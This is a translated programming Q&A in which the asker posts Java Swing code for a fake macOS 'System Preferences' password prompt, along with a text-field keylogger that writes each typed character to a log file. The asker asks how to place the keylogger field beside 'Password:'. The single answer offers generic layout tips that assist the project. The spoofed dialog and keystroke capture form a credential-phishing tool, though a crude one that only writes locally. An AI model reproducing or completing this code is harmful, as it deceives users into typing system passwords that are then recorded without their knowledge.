无法使用JTextField在文本旁边添加文本字段

时间:2015-11-21 07:03:55

标签: java swing jtextfield

所以,我从来没有在今天编写过Java的东西,我试图用文本,图像和文本字段绘制窗口。

以下是我对窗口/文本的代码:http://pastebin.com/HfUGht2J

import java.awt.*;

import javax.swing.*;

public class text extends JPanel{
   public void paint(Graphics g) {
      Graphics2D g2 = (Graphics2D)g;
      g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING,
      RenderingHints.VALUE_ANTIALIAS_ON);
      Font font = new Font("Helvetica", Font.BOLD, 13);
      g2.setFont(font);
      g2.drawString("System Preferences is trying to unlock .PDF", 96, 34);
      g2.drawString("preferences. Type your password to allow this.", 96, 51);
      Font font2 = new Font("Helvetica", Font.PLAIN, 13);
      g2.setFont(font2);
      g2.drawString("Username:", 98, 100);
      g2.drawString("Password:", 100, 130);
   }

   public static void main(String[] args) {
      JFrame f = new JFrame();
         f.getContentPane().add(new text());
         f.setSize(443, 232);
         f.setLocationRelativeTo(null);    
         f.setVisible(true);
   }
}

以下是我对textfield / keylogger的代码:http://pastebin.com/XyE1dLsq

import java.awt.BorderLayout;
import java.awt.event.*;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.RenderingHints;

import javax.swing.*;
import java.awt.*;

/**
 * This Class opens a simple text area using JFrame and prints the typed key in a log file.
 *
 */
public class KeyEventDemo 
        implements KeyListener
{     
    /** 
     * @param args defaultargs
     */
    public static void main(String[] args) {
         JTextField typingArea;
            JFrame f=new JFrame();
         f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
         typingArea = new JTextField(20);
         typingArea.addKeyListener(new KeyEventDemo());        
         f.getContentPane().add(typingArea, BorderLayout.PAGE_START);          
         f.pack();
         f.setVisible(true);
    }

    /** Triggers on the key pressed event and displays the typed key in the log */
    public void keyTyped(KeyEvent e) {
        try {
          String keyString;
          keyString = "key character = '" + e.getKeyChar() + "'";  
          //For system print console
          System.out.println(keyString);
          //For output to file
          File a =new File("E:\\projects\\KeyLog.log");
          if (!a.exists()) {
                a.createNewFile();
            }
          FileWriter fw = new FileWriter(a.getAbsoluteFile(),true);
          BufferedWriter bw = new BufferedWriter(fw);
          bw.append(keyString);
          bw.newLine();
          bw.close();         
        } catch (Exception e1) {        
            e1.printStackTrace();
        }
      }

    /** Triggers on the key pressed event */
    public void keyPressed(KeyEvent e) {

    }

    /** Triggers on the key released event */
    public void keyReleased(KeyEvent e) {

    }
 }

我如何:

a)将一个常规文本字段实现到“用户名:”

旁边的窗口中

b)将密钥记录器文本字段实施到“密码:”

旁边的窗口中

c)在它的左边添加一个图像。

1 个答案:

答案 0 :(得分:0)

在设计窗口中从托盘窗口拖动jtextfield并将其放在您想要的标签旁边。然后在源窗口,您可以更改已添加到null或“”的文本字段的值。这将创建您的文本字段。对于记录器,我更喜欢按钮并将其重命名为“登录”。您可以通过右键单击按钮并选择编辑选项来执行此操作。